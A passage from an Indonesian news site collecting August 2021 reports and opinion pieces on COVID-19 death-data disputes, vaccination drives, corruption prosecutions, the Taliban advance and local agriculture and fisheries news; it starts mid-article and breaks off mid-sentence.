Atau dicicil pelaporannya sehingga dilaporkan terlambat. Penghapusan indikator kematian ini menunjukkan, Pemerintah Pusat yang dikomandani Luhut Binsar Panjaitan tidak profesional dalam menjalankan tugas penanganan pandemi Covid-19. Manipulasi data dengan menghapus angka sebanyak 19.000 kasus kematian akibat Covid-19 yang sudah dilaporkan Pemda itu jelas mengindikasikan tidak adanya koordinasi antara Pusat dan Daerah. Pemerintah Pusat sesuai rencana, maunya tanggal itu angka kematian turun. Tapi, mungkin Luhut lupa tak perintahkan Daerah untuk ubah kembali ke angka riil kematian sebenarnya. Boleh jadi, angka kematian itu diperoleh bukan murni Covid, tapi komorbit juga. Begini, ketika Pemerintah akan memberlakukan PPKM Darurat, sebelumnya ada upaya untuk menambah angka kematian dengan mengikutkan pasien komorbit yang meninggal ini sebagai kematian akibat Covid-19. Makanya, angka kematian komorbit di daerah turun drastis, dan nyaris tidak ada sama sekali. Karena, angka ini dimasukkan sebagai angka kematian akibat Covid-19. Ini yang Pemerintah Daerah lakukan melalui Dinas Kesehatan. Sehingga, saat itu angka kematian akibat Covid-19 begitu tinggi, dan diberlakukanlah PPKM Darurat hingga PPKM Level-Levelan (2, 3, dan 4). Situasi mencekam! Ambulan hilir-mudik maraung-raung minta jalan. Malamnya, lampu PJU dipadamkan. Penyekatan terjadi di mana-mana di jalan-jalan protokol kota-kota besar seperti DKI Jakarta, Bandung, Surabaya, Medan, Makassar, dan lain-lain, termasuk penyekatan yang berlaku di perbatasan kota-kota besar tersebut. WHO pun menyorot penanganan Covid-19 di Indonesia. Pemerintah dinilai gagal menangani pandemi Covid-19. Laporan Mingguan Reuters, sejarah mencatat, pada 18 Juli adalah tanggal terburuk, dimana waktu itu tercatat 50.039 kasus baru dalam sehari. Arie Karimah, seorang Pharma-Excellent alumni ITB menyebut, dalam 7 hari terakhir, rata-rata penambahan kasus baru adalah 30.982 kasus setiap harinya. Atau: dari 10 ribu orang ada 8 yang terinfeksi. Total kasus: 3.749.446, kematian 112.198. Tampaknya, karena tidak mau dianggap gagal sebagai Komandan PPKM Level-Levelan itu, Luhut dan timnya berusaha menghapus indikator kematian akibat Covid-19. Maka, mereka memangkas 19.192 kasus kematian akibat Covid-19 yang dilaporkan 510 daerah. Indikator kematian akibat Covid-19 memang menjadi kewenangan Pemerintah Pusat. Akan dibuat melesat naik atau menukik turun, tinggal mainkan data saja. Seperti yang terjadi saat akan diberlakukannya PPKM akhir Januari 2021 hingga PPKM Level-Levelan. Pasien meninggal karena ada penyakit bawaan alias comorbit pun dimasukkan sebagai pasien Covid-19. Apa yang terjadi kemudian? Pada pertengahan Juni 2021 lalu, ratusan makam di TPU Cikadut, Kota Bandung, Jawa Barat dibongkar setelah diketahui lebih dari 700 jenazah yang dimakamkan secara prosedur Covid-19, ternyata tidak terpapar Virus Corona. Atas permintaan keluarga, sebanyak 196 makam akhirnya dibongkar. Dari total tersebut, 71 jenazah diantaranya dipindah ke luar Kota Bandung. Sementara 125 lainnya dipindah ke pemakaman keluarga atau TPU di Kota Bandung. Sebelumnya, lebih dari 700 jenazah di TPU Cikadut dimakamkan sesuai prosedur Covid-19, karena saat meninggal, hasil swab PCR mereka belum keluar. Karena itu, pihak RS langsung memasukkan jenazah tersebut dalam kategori indikasi terpapar Covid-19. Dalih Luhut Jubir Menko Marves, Jodi Mahardi, telah memastikan pemerintah bukan hendak menghapus indikator kematian dalam asesmen level PPKM. Pemerintah hanya akan merapikan terlebih dahulu data-data angka kematian Covid-19 yang selama ini menyebabkan distorsi. “Bukan dihapus, hanya tidak dipakai sementara waktu karena ditemukan adanya input data yang merupakan akumulasi angka kematian selama beberapa minggu ke belakang, sehingga menimbulkan distorsi atau bias dalam penilaian,” ucap Jodi, Rabu (11/8/2021). Ia menyebut kesalahan data indikator kematian ini terjadi karena ada keterlambatan laporan lantaran data yang menumpuk dan dicicil. Sehingga, kata dia, kondisi ini bisa menyebabkan penilaian yang kurang akurat terhadap level PPKM di suatu daerah. “Jadi terjadi distorsi atau bias pada analisis, sehingga sulit menilai perkembangan situasi satu daerah,” dalihnya. Selama lebih dari 21 hari lalu, banyak kasus aktif yang juga tidak ter-update. Ia menyebut akhirnya pemerintah mengambil langkah untuk menghilangkan dahulu indikator kemarian untuk dilakukan perbaikan sehingga data bisa akurat. “Sedang dilakukan clean up (perapian) data, diturunkan tim khusus untuk ini. Nanti akan di-include (dimasukkan) indikator kematian ini jika data sudah rapi,” jelas Dodi. Jodi memastikan untuk sementara pemerintah masih menggunakan lima indikator lain untuk asesmen, yakni BOR (tingkat pemanfaatan tempat tidur), kasus konfirmasi, perawatan di RS, pelacakan (tracing), pengetesan (testing), dan kondisi sosio-ekonomi masyarakat. Sebelumnya, Menko Marves Luhut Binsar Pandjaitan pada Senin (9/8/2021) menyebut telah mengeluarkan indikator kematian dalam menilai level PPKM di berbagai daerah. Alasannya, indikator kematian dianggap menimbulkan distorsi dalam penilaian level PPKM karena banyak input data yang tidak update dari berbagai daerah. Penulis adalah Wartawan FNN.co.id

Indonesia Harus Siap Hadapi Corona Sebagai Endemi

Jakarta, FNN - Walikota Tangerang Arief Rachadiono Wismansyah mengatakan Indonesia harus bersiap menghadapi Covid-19 sebagai endemi. "Kita harus menyiapkan Bangsa Indonesia di mana pandemi Covid-19 ini sebentar lagi jadi endemi. Oleh karena itu, kerja sama harus lebih ditingkatkan," kata Arief dalam webinar acara pembukaan sentra vaksinasi "Bersama Bantu Indonesia Sehat" pada Kamis, 12 Agustus 2021. Oleh sebab itu, menurut dia, selain gerakan kolaborasi mendistribusikan vaksinasi bersama, dibutuhkan tindakan yang lebih nyata. "Selain vaksinasi, saya harap pihak perbankan juga bisa membantu masyarakat yang secara sosial juga ikut terdampak. Sekarang pertumbuhan ekonomi di kuartal kedua sudah positif dua persen sehingga menimbulkan optimisme pemerintah daerah mendorong masyarakat untuk terus beraktivitas di tengah pandemi." katanya. Hari ini Otoritas Jasa Keuangan dan Bank Indonesia mendukung inisiatif yang dilakukan oleh PT Bank Aladin Syariah Tbk. (Bank Aladin), PT Sumber Alfaria Trijaya Tbk. (Alfamart), dan PT Media Dokter Investama (Halodoc) yang membuka sentra vaksinasi massal di area Kota Tangerang, Banten. "OJK bersama dengan Bank Indonesia saat ini tengah mendorong akselerasi penyaluran vaksin Covid-19 di seluruh Indonesia dengan target penyaluran sebesar 10 juta (anggota) masyarakat pada akhir bulan Desember 2021," kata Kepala OJK Regional 1 DKI Jakarta dan Banten, Dhani Gunawan Idat. Program percepatan vaksinasi yang dikoordinir oleh OJK-BI bersama Industri Jasa Keuangan tersebut diharapkan mampu menciptakan kekebalan komunal (herd immunity) yang mendukung mobilitas masyarakat sehingga perekonomian dapat kembali bergerak. Kepala Kantor Perwakilan Bank Indonesia Provinsi DKI Jakarta Onny Widjanarko mengatakan, seluruh pihak perlu aktif dalam berkolaborasi untuk membantu usaha pemerintah menangani pandemi Covid-19. "Aksi kolektif dan kolaborasi pemerintah, industri, dunia usaha dan masyarakat dalam rangka perluasan dan percepatan vaksinasi, diyakini turut membangun motivasi dan kepercayaan dunia usaha dan masyarakat untuk mempercepat mewujudkan terbentuknya ketahanan kesehatan dan pemulihan ekonomi nasional," kata Onny, sebagaimana dikutip dari Antara. Onny mengatakan, pihaknya akan terus mendukung dan mendorong program percepatan vaksinasi untuk mempercepat kekebalan tubuh masyarakat agar pemulihan ekonomi nasional dapat segera terwujud. "OJK dan BI akan terus bersama industri untuk mendorong dan mendukung kegiatan vaksinasi ini dapat diperluas dan semakin terjangkau masyarakat umum di manapun tempatnya," kata dia. Sentra vaksinasi hasil kolaborasi Bank Aladin, Alfamart dan Halodoc akan memberikan vaksin untuk 5.000 orang di area Tangerang. Lokasi dari sentra vaksinasi tersebut berada di Alfa Tower (Alam Sutera) dan Alfa DC (Balaraja). Dilakukan serentak pada 12-15 Agustus 2021 vaksin dosis pertama dan bulan September 2021 dosis kedua. Jumlah penerima vaksinasi di Tangerang kini mencapai 670.00. Angka itu menjadikannya yang tertinggi kedua di seluruh Jabodetabek dan pertama di Provinsi Banten. "Tetapi, itu bukan jaminan bahwa masyarakat akan aman dari pandemi Covid-19. Oleh karena itu, kita harus tetap menjalankan protokol kesehatan dengan baik dan benar seiring dengan pelaksanaan 3T (tracking, tracing dan testing)," kata Arief. (MD).

Menteri LHK Dorong Bank Sampah Jalankan Fungsi Edukasi

Jakarta, FNN - Menteri Lingkungan Hidup dan Kehutanan (LHK) Siti Nurbaya Bakar mengharapkan agar bank sampah dapat juga menjalankan peran melakukan edukasi kepada masyarakat terkait pengelolaan sampah. "Apabila sebelumnya bank sampah hanya fokus pada kegiatan menabung sampah untuk mendapat nilai ekonomi saja, sekarang diharapkan bank sampah dapat menekankan fungsinya pada edukasi masyarakat," ujar Siti saat membuka Rapat Koordinasi Nasional (Rakornas) Bank Sampah ke-6, dipantau virtual dari Jakarta, Kamis, 12 Agustus 2021. Menteri Siti mengharapkan, bank sampah dapat mendorong perubahan perilaku sambil tetap meningkatkan kegiatan produktif dalam prinsip-prinsip ekonomi sirkular. Dengan adanya aturan yang mendukung pemberdayaan bank sampah diharapkan pemerintah pusat dan daerah serta swasta dapat mengoptimalkan sumber pendanaan yang ada sebagai bentuk dukungan operasionalnya. Siti menegaskan, bank sampah tidak dapat berjuang sendiri dalam pelaksanaan fungsinya. Oleh karena itu, agenda kemitraan juga menjadi penting. Keberadaan Badan Pengelola Dana Lingkungan Hidup (BPDLH) diharapkan dapat menjadi salah satu sumbernya. Untuk itu, dia mengajak untuk mendorong pengembangan kapasitas elemen bangsa yang ada sekarang bagi kemajuan bank sampah agar bermanfaat bagi pelaku dan masyarakat sekitarnya. Hal itu penting mengingat peran bank sampah dalam pelaksanaan ekonomi sirkular dan perannya untuk mendukung industri daur ulang dan dunia usaha dalam pemenuhan kebutuhan bahan baku di dalam negeri. Dikutip dari Antara, kini terdapat 11.566 unit bank sampah yang tersebar di 363 kabupaten/kota di Indonesia. Angka itu memperlihatkan penambahan sekitar 3.500 unit sejak 2016. "Pemerintah dan pemda dengan rambu-rambu governing prosedur yang tepat sebagai suatu negara dan dengan sistem pemerintahan yang ada harus mendukung dan memfasilitasi upaya kolaboratif ini antara bank sampah dan para pihak," demikian Siti.* (MD).

Tangkap dan Adili Luhut

Jika benar dan tidak ada rekayasa baik narasi, suara maupun gambar di video yang berdurasi 59, yang telah beredar di medsos, atas nama agama, bangsa dan negara, LBP harus ditangkap, diadili dan dipidanakan, karena esensi dari ucapan Luhut, benar benar telah membuat gaduh dan menyesatkan bangsa Indonesia terutama terhadap ajaran agama Islam. Oleh Sugengwaras NAMUN saya belum yakin apakah ini asli suara Luhut, yang murni dan utuh narasi keseluruhannya, karena bisa saja dalam situasi dan kondisi negara kita yang sedang sulit diterjemahkan ini, dijadikan peluang dan kesempatan dalam kesempitan untuk memperparah carut marutnya NKRI Demi Allah, ini sudah semakin keterlaluan, ketika sebelumnya Menag memgumumkan ditundanya libur Tahun Baru Islam yang dikenakan satu hari kemudian dengan alasan pembenaran. Bagi saya pribadi, ini Menag Koplak, yang tidak berpikir utuh tentang Islam, bahwa jatuhnya hari dan tanggal pasti ada relevansinya dengan acara acara spiritual ibadah keagamaan. Tampaknya Menag ini tidak paham dan tidak menghayati makna yang tersirat terkait keagamaan yang membimbing, membentuk dan menyiapkan akhlaq manusia yang beriman dan bertaqwa. Untuk LBP maaf, tanpa mengurangi rasa hormat, anda sebagai non-muslim, anda tidak boleh gegabah, ngawur dan abai terhadap Alqur'an, hadist, itjma dan kias, yang merupakan sumber pedoman, tingkatan dan tahapan dalam mengambil solusi terkait implementasi ajaran islam. Saya sebagai umat Islam, masih menghormati dan memaklumi, karena anda non-muslim yang tidak memahami ajaran Islam secara utuh, namun hendaknya anda terlebih dulu dengan stakeholder keagamaan Islam untuk konsultasi dan koordinasi agar tidak membuat perbuatan tidak menyenangkan kepada umat Islam. Oleh karenanya, jika ternyata apa yang tersurat di video tersebut asli dan benar adanya, sebaiknya anda menyampaikan permohonan maaf kepada umat Islam atas kekhilafan tersebut. Sebaliknya kepada seluruh umat islam, saya mengimbau untuk peka dan peduli serta waspada terhadap perkembangan khususnya terkait aturan aturan untuk kegiatan keagamaan Islam yang terasa semakin ke depan semakin mencurigakan dan mengkhawatirkan, serta tidak mudah terjebak dan hanyut atas jebakan-jebakan yang menyesatkan yang berpotensi rentannya persatuan dan kesatuan bangsa Indonesia. Sebagai umat Islam yang merupakan mayoritas penduduk di Indonesia, selayaknya kita meneladani kepada umat yang lain, bahwa Islam lRahmatan Lil Alamiin, yang bisa hidup harmonis dan saling menghormati terhadap sesama yang berbeda tanpa meninggalkan keyakinan sendiri. Juga umat Islam yang mayoritas ini, harus punya harga diri yang konsisten dan konsekuen, serta tidak tinggal diam, manakala ajaran islam disepelekan dan dihinakan. Juga kepada TNI POLRI, saya yakin dan mengingatkan, hendaknya TNI POLRI yang punya peran sangat strategis terhadap NKRI ini benar-benar konsisten dan konsekuen terhadap NKRI dan bukan mengabdi kepada segelintir pejabat atau penguasa saja. Semoga di bawah kepeloporan TNI POLRI, NKRI kondusif dan sejahtera. Penulis Purrnawirawan TNI AD

Taliban Bisa Rebut Kabul Dalam Waktu 90 Hari

Washington/Kabul, FNN - Milisi Taliban dapat merebut ibu kota Afghanistan, Kabul, dalam waktu 90 hari. Hal itu bisa terjadi setelah mereka bangkit kembali dan membuat lebih banyak kemajuan di seluruh negeri. Pejabat pertahanan AS, yang berbicara kepada Reuters dengan syarat anonim pada Rabu (11/8), mengatakan penilaian baru tentang berapa lama Kabul dapat bertahan adalah hasil dari kemajuan cepat Taliban setelah pasukan asing pimpinan AS pergi. "Tetapi itu bukan kesimpulan yang sudah pasti," tambah pejabat itu. Ia berpendapat, pasukan keamanan Afghanistan dapat membalikkan momentum dengan melakukan lebih banyak perlawanan. "Kelompok Taliban sekarang menguasai 65 persen wilayah Afghanistan. Mereka akan mengambil alih 11 ibu kota provinsi," kata seorang pejabat senior Uni Eropa, Selasa (10/8) sebagaimana dikutip dari Antara. Faizabad, di provinsi timur laut Badakhshan, pada Rabu menjadi ibu kota provinsi kedelapan yang direbut oleh Taliban. "Pertempuran sangat intens di kota Kandahar," kata seorang dokter yang berbasis di provinsi Kandahar selatan. Kandahar menerima sejumlah mayat pasukan Afghanistan dan beberapa Taliban yang terluka. "Semua pintu gerbang ke Kabul, terletak di lembah yang dikelilingi oleh pegunungan, dipenuhi warga sipil yang melarikan diri dari kekerasan", kata sumber keamanan negara Barat. Sulit untuk mengatakan apakah kelompok Taliban juga berhasil melewatinya. "Ketakutannya adalah pelaku bom bunuh diri memasuki markas diplomatik untuk menakut-nakuti, menyerang, dan memastikan semua orang pergi secepat mungkin," katanya. Taliban ingin mengalahkan pemerintah yang didukung AS dan menerapkan kembali hukum Islam yang ketat. Juru bicara Kementerian Luar Negeri AS Ned Price mengatakan, serangan itu bertentangan dengan semangat kesepakatan 2020. Taliban berkomitmen untuk melakukan pembicaraan tentang kesepakatan damai yang akan mengarah pada "gencatan senjata permanen dan komprehensif," kata Price pada Rabu. "Semua indikasi setidaknya menunjukkan Taliban malah mengejar kemenangan di medan perang. "Menyerang ibu kota provinsi dan menargetkan warga sipil tidak sesuai dengan semangat kesepakatan," katanya. PBB mengatakan, lebih dari 1.000 warga sipil tewas dalam sebulan terakhir. Sedangkan Komite Internasional Palang Merah mengatakan, sejak 1 Agustus sekitar 4.042 orang yang terluka telah dirawat di 15 fasilitas kesehatan. Taliban membantah menargetkan atau membunuh warga sipil dan menyerukan penyelidikan independen. Kelompok itu "tidak menargetkan warga sipil atau rumah mereka di wilayah mana pun. Melainkan operasi telah dilakukan dengan sangat presisi dan hati-hati," kata juru bicara Taliban Suhail Shaheen dalam sebuah pernyataan pada Rabu. Pembicaraan Damai Lepasnya Faizabad ke tangan Taliban merupakan kemunduran terbaru bagi pemerintahan Presiden Ashraf Ghani. Ia terbang ke Mazar-i-Sharif, mengumpulkan panglima perang guna mempertahankan kota terbesar di utara itu saat pasukan Taliban semakin mendekat. Selama bertahun-tahun Ghani mengesampingkan para panglima perang saat dia mencoba memproyeksikan otoritas pemerintah pusatnya atas provinsi-provinsi yang bandel. Presiden AS Joe Biden, pada Selasa. mengatakan, dia tidak menyesali keputusannya menarik mundur pasukan AS dari Afghanistan. Ia mendesak para pemimpin Afghanistan supaya memperjuangkan tanah air mereka. Washington telah menghabiskan lebih dari 1 triliun dolar AS selama 20 tahun dan kehilangan ribuan tentaranya. "Washington terus memberikan dukungan serangan udara, makanan, peralatan, dan gaji yang signifikan kepada pasukan Afghanistan," katanya. Afghanistan "perlu menentukan ... apakah mereka memiliki kemauan politik melawan. Apakah mereka memiliki kemampuan untuk bersatu," kata sekretaris pers Gedung Putih Jen Psaki. (MD).

Didakwa Terima Suap Wali Kota Cimahi Nonaktif Dituntut Tujuh Tahun Penjara

Bandung, FNN - Wali Kota Cimahi, Jawa Barat, nonaktif Ajay M Priyatna dituntut tujuh tahun penjara karena diduga menerima suap guna memuluskan izin proyek rumah sakit di kota tersebut. Tuntutan tujuh tahun penjara tersebut disampaikan Jaksa Penuntut Umum Komisi Pemberantasan Korupsi (KPK), Budi Nugraha, di Pengadilan Negeri (PN) Bandung, Kamis (12/8). Ajay dinilai terbukti secara sah dan meyakinkan melakukan korupsi sesuai dengan Pasal 12 huruf a Undang-Undang RI Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi Jo Pasal 64 ayat 1 KUHPidana dan Pasal 12 B Undang-Undang RI Nomor 31 Tahun 1999 tentang Tipikor Jo Pasal 65 ayat (1) KUHPidana. "Meminta kepada majelis hakim untuk menjatuhkan hukuman tujuh tahun penjara dengan denda sebesar Rp300 juta subsider 6 bulan kurungan," kata jaksa Budi Nugraha sebagaimana dikutip dari Antara. JPU KPK menyebutkan hal yang memberatkan hukuman karena Ajay tidak mendukung upaya pemerintah dalam memberantas praktik korupsi selaku aparatur negara. Kemudian hal yang meringankan hukuman Ajay karena belum pernah terjerat hukum maupun dihukum dari perkara apa pun. Dalam dakwaan jaksa, Ajay diduga menerima sejumlah uang suap secara bertahap dari pemilik Rumah Sakit Umum (RSU) Kasih Bunda, Hutama Yonathan melalui sejumlah orang maupun pengusaha proyek. Pemberian itu dilakukan secara bertahap sejak Mei hingga November 2020. Ajay didakwa menerima uang suap sebesar Rp 1.661.250.000 guna memuluskan izin proyek RSU Kasih Bunda. KPK menyatakan perbuatan Ajay bertentangan dengan hukum dan ketentuan perundang-undangan yang berlaku. Ajay telah ditahan setelah ditetapkan sebagai tersangka sejak 28 November 2020. (MD).

Kementan Setujui Bawang Merah Sumbu Marapi Jadi Varietas Unggul Lokal

Batusangkar, FNN - Kementerian Pertanian (Kementan) menyetujui varietas bawang merah Sumbu Marapi di Kabupaten Tanah Datar, Sumatera Barat, menjadi varietas unggul lokal. "Dengan hadirnya varietas ini menjadi pilihan bagi masyarakat, tidak hanya warga Tanah Datar tetapi juga masyarakat di luar Tanah Datar untuk dikembangkan," kata Kepala Dinas Pertanian Tanah Datar Yulfiardi di Batusangkar, Kamis. Ia mengatakan varietas bawang merah Sumbu Marapi memperoleh tanda daftar varietas dari Kementan tidak terlepas dari kerja sama dan kerja keras semua pihak terutama tim peneliti. Ia mengucapkan terima kasih kepada jajaran dari Dinas Pertanian serta dukungan Balai Pengkajian Teknologi Pertanian (BPTP) dan Balai Pengawasan dan Sertifikasi Benih (BPSB) Sumatera Barat "Setelah didaftarkan pada 21 Juni lalu akhirnya tanaman bawang merah varietas Sumbu Marapi dinyatakan sudah terdaftar sebagai varietas lokal pada 2 Agustus 2021 kemarin," katanya. Kepala Bidang Hortikultura Dinas Pertanian Tanah Datar Sri Mulyani mengatakan varietas bawang merah Sumbu Marapi memiliki keunggulan produktivitas yang lebih tinggi, di antaranya umbi dari bawang merah varietas Sumbu Marapi muncul ke permukaan tanah dan bertingkat-tingkat dengan diameter umbi 1,7 sampai 2,5 mm. Setiap rumpun dari bawang merah varietas Sumbu Marapu mencapai 15 sampai 25 umbi dengan berat per rumpun 130 sampai 180 gram dengan umur panen 73 sampai 75 hari setelah tanam. Dengan telah diterbitkannya tanda daftar dari Kementan maka Sumatera Barat memiliki dua pilihan varietas bawang bersertifikat yakni varietas SS Sakato dan varietas Sumbu Marapi. (mth)

KPK Panggil Tujuh Saksi Terkait Kasus Pajak

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK), Kamis, memanggil tujuh saksi dalam penyidikan kasus dugaan suap terkait dengan pemeriksaan perpajakan tahun 2016 dan 2017 di Direktorat Jenderal Pajak. Mereka dijadwalkan diperiksa untuk tersangka mantan Direktur Pemeriksaan dan Penagihan Ditjen Pajak Angin Prayitno Aji (APA) dan kawan-kawan. Pemeriksaan digelar di Gedung KPK, Jakarta. "Hari ini, pemeriksaan saksi dugaan tindak pidana korupsi penerimaan hadiah atau janji terkait dengan pemeriksaan perpajakan tahun 2016 dan 2017 di Direktorat Jenderal Pajak dengan tersangka APA dan kawan-kawan," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Kamis. Tujuh saksi, yakni empat pegawai negeri sipil (PNS) masing-masing Alfred Simanjuntak, Atik Djauhari, Muh Tunjung Nugroho, Wawan Ridwan, Ian Setya Mulyawan selaku mantan pegawai PT Jhonlin Baratama, pegawai Foresight Consulting Naufal Binnur, dan perwakilan staf keuangan Direktorat Jenderal Pajak. KPK pada 4 Mei 2021 telah menetapkan enam tersangka kasus tersebut. Sebagai penerima, yaitu Angin dan mantan Kepala Subdirektorat Kerjasama dan Dukungan Pemeriksaan Ditjen Pajak Dadan Ramdani (DR). Sedangkan sebagai pemberi, yakni kuasa wajib pajak Veronika Lindawati (VL) serta tiga konsultan pajak masing-masing Ryan Ahmad Ronas (RAR), Aulia Imran Maghribi (AIM), dan Agus Susetyo (AS). Dalam konstruksi perkara, KPK menduga Angin dan Dadan menyetujui, memerintahkan, dan mengakomodir jumlah kewajiban pembayaran pajak yang disesuaikan dengan keinginan dari wajib pajak atau pihak yang mewakili wajib pajak. Keduanya diduga menerima suap puluhan miliar terkait pemeriksaan pajak terhadap tiga wajib pajak, yaitu PT Gunung Madu Plantations untuk tahun pajak 2016, PT Bank PAN Indonesia Tbk untuk tahun pajak 2016, dan PT Jhonlin Baratama untuk tahun pajak 2016 dan 2017. Ada pun rinciannya, yakni pada Januari-Februari 2018 dengan jumlah keseluruhan sebesar Rp15 miliar diserahkan oleh Ryan dan Aulia sebagai perwakilan PT Gunung Madu Plantations. Pertengahan tahun 2018 sebesar 500 ribu dolar Singapura yang diserahkan oleh Veronika sebagai perwakilan PT Bank PAN Indonesia Tbk dari total komitmen sebesar Rp25 miliar. Selanjutnya, dalam kurun waktu Juli-September 2019 sebesar total 3 juta dolar Singapura diserahkan oleh Agus sebagai perwakilan PT Jhonlin Baratama. Atas perbuatannya, Angin dan Dadan sebagai penerima disangkakan melanggar Pasal 12 huruf a atau Pasal 12 huruf b atau Pasal 11 Undang-Undang Nomor 31 Tahun 1999 sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo Pasal 55 ayat (1) ke-1 KUHP. Sedangkan empat tersangka lainnya sebagai pemberi disangkakan melanggar Pasal 5 ayat (1) huruf a atau Pasal 5 ayat (1) huruf b atau Pasal 13 Undang-Undang Nomor 31 tahun 1999 sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi Jo Pasal 55 ayat (1) ke-1 KUHP. (mth)

Ayo ke Pasar Rakyat Karena tidak Perlu Syarat Vaksin

Jakarta, FNN - Masyarakat yang ingin berbelanja ke pasar rakyat atau pasar tradisional tidak membutuhkan syarat vaksin dan swab Antigen dalam uji-coba pembukaan pusat perbelanjaan dan mal yang berlangsung mulai 10 sampai 16 Agustus 2021. Persyaratan vaksin dan swab Antigen hanya berlaku kepada pengunjung, pedagang dan para pegawai di pusat perbelanjaan dan mal. Hal tersebut dikatakan Direktur Jenderal Perdagangan Dalam Negeri Kementerian Perdagangan (Kemendag) Oke Nurwan dalam keterangannya, di Jakarta, Kamis (12/8). Syarat ke pasar tradisional cukup mematuhi protokel kesehatan (prokes). Syarat ini juga wajib bagi pengunjung, pedagang dan pegawai pusat perbelanjaan dan mal. "Implementasi protokol kesehatan tetap perlu dilakukan ketika masyarakat pergi ke pasar rakyat, kendati tidak membutuhkan syarat vaksin dan swab Antigen. Di pasar rakyat, syarat vaksinasi dan Antigen dimungkinkan untuk tidak diterapkan. Hal ini karena pasar rakyat adalah tempat menjual barang kebutuhan pokok yang dibutuhkan masyarakat dalam kehidupan sehari-hari," katanya sebagaimana dikutip dari Antara. Selain itu, situasi di pasar rakyat berbeda dengan pusat perbelanjaan dan mal. Bedanya, sebagian besar pasar rakyat berada di ruang terbuka dengan sistem sirkulasi udara alami yang risiko penularannya tidak setinggi area pusat perbelanjaan yang berada di ruang tertutup berpendingin udara. Namun, tegas Oke, para pengunjung dan penjual di pasar rakyat juga wajib menerapkan prokes lainnya seperti menggunakan masker, mencuci tangan, dan menggunakan hand sanitizer. “Hal ini bertujuan mencegah penularan dan menjaga kesehatan para pengunjung dan penjual. Kuncinya, penerapan prokes secara disiplin,” kata Oke. Meski demikian, lanjut Oke, pada beberapa fasilitas publik yang tertutup dan menggunakan pendingin udara (AC) juga diberlakukan persyaratan khusus. Di wilayah DKI Jakarta, berdasarkan Keputusan Gubernur Nomor 966 Tahun 2021 tentang Pemberlakukan Pembatasan Kegiatan Masyarakat Level 4 Corona Virus Disease 2019, bagi para pengunjung beberapa fasilitas publik yang tertutup dan menggunakan pendingin udara juga harus menunjukkan bukti vaksin. Oke berharap setiap pihak yang terlibat dalam usaha di pusat perbelanjaan maupun pasar rakyat dapat terus menerapkan prokes dengan kesadaran yang tinggi. “Dengan penerapan prokes, diharapkan penularan Covid-19 dapat dicegah, ekonomi rakyat berjalan, dan kebutuhan pokok masyarakat tetap dapat terpenuhi,” kata Oke. Oke menyampaikan Kemendag akan melakukan evaluasi dari pelaksanaan uji coba tersebut. "Hasil evaluasi dari uji coba itu kemudian akan menjadi dasar mengambil kebijakan selanjutnya,” ujar Oke. (MD).

Kajari Tunjuk Dua Jaksa Tangani Perkara Pengeroyokan Nakes Lampung

Bandarlampung, FNN - Kepala Kejaksaan Negeri (Kajari) Bandarlampung, Abdullah Noer Deni mengatakan telah menunjuk dua orang jaksa untuk menangani perkara pengeroyokan seorang tenaga kesehatan (nakes) yang bekerja di Puskesmas Kedaton, Bandarlampung. "Kita sudah menunjuk dua orang jaksa untuk tangani perkara itu," katanya di Bandarlampung, Kamis. Dia mengatakan bahwa pihaknya akan bekerja profesional dalam menangani perkara tersebut. Jaksa yang ditunjuk akan menangani perkara sesuai kewenangan yang ada di berkas. "Kita sesuai dengan kewenangan yang ada di berkas saja," kata dia. Sebelumnya Polresta Bandarlampung telah menetapkan tiga tersangka pelaku pengeroyokan tenaga kesehatan (nakes) di Puskesmas Kedaton, Kota Bandarlampung, yang terjadi pada Minggu (4/7). "Kami sudah gelar perkara dan menetapkan tiga tersangka pelaku penganiayaan seorang nakes di Puskesmas Kedaton, yakni inisial A, NV, dan DD," kata Kepala Satreskrim Polresta Bandarlampung Kompol Resky Maulana, di Bandarlampung, Sabtu (1/08). Ia menjelaskan hal itu setelah gelar perkara yang dilakukan penyidik Polresta Bandarlampung dan berdasarkan alat bukti yang didapatkan seperti video viral di media sosial (medsos) dan barang bukti lainnya, yakni kacamata dan batu yang tertinggal di lokasi. Semua mengarah kepada tiga pelaku tersebut. "Barang bukti ini menjadi petunjuk yang sangat mengarah, dimana saat itu ketiganya berada di lokasi kejadian. Untuk barang bukti batu ini, dalam video ditunjukkan ada seseorang yang hendak mengambil sesuatu, ternyata dia mengambil batu," ujarnya. Dia mengatakan dalam penganiayaan nakes tersebut, tiga pelaku memiliki peran masing-masing, A dan NV melakukan pemukulan kepada korban, sedangkan D memegangi nakes tersebut. Kompol Resky menegaskan bahwa ketiga tersangka akan dijerat dengan Pasal 170 KUHP tentang Penganiayaan dengan ancaman tujuh tahun pidana penjara. "Sekarang masih kami proses lebih lebih lanjut dan meminta keterangan dari ketiganya," ucap dia. Sebelumnya diberitakan seorang nakes di Bandarlampung dianiaya sejumlah orang saat sedang piket pada Minggu (4/7). Kejadian bermula ketika pelaku ingin meminjam tabung oksigen di Puskesmas Kedaton dengan alasan orang tua sakit di rumah, namun tidak diperbolehkan nakes karena mereka tidak membawa pasien ke faskes itu. (mth)

Shrimp Estate Pertama di Indonesia Akan Dibangun di Kebumen Jateng

Jakarta, FNN - Kementerian Kelautan dan Perikanan menggandeng Pemerintah Kabupaten Kebumen, Jawa Tengah, untuk bekerja sama mengembangkan shrimp estate atau kawasan budi daya udang terintegrasi yang pertama di Indonesia, yang berlokasi di Kebumen. "Saya meyakini jika model ini berhasil maka dapat dikembangkan di wilayah lain menggunakan model yang sama dengan pengembangan potensi budi daya di masing-masing wilayah," kata Menteri Kelautan dan Perikanan Sakti Wahyu Trenggono dalam acara penandatanganan perjanjian kerja sama tersebut di Jakarta, Kamis. Penandatanganan ini dilakukan oleh Direktur Jenderal Perikanan Budidaya KKP, Tb Haeru Rahayu dengan Bupati Kebumen Arif Sugiyanto dan disaksikan langsung Menteri Kelautan dan Perikanan Sakti Wahyu Trenggono. Perjanjian kerja sama antara KKP dan Kabupaten Kebumen terkait pengembangan shrimp estate ini merupakan implementasi dari salah satu program prioritas KKP, yakni pengembangan perikanan budi daya untuk meningkatkan ekspor didukung riset kelautan dan perikanan, yang sejalan dengan target peningkatan nilai ekspor udang nasional sebesar 250 persen pada 2024. Menurut Trenggono, dengan satu 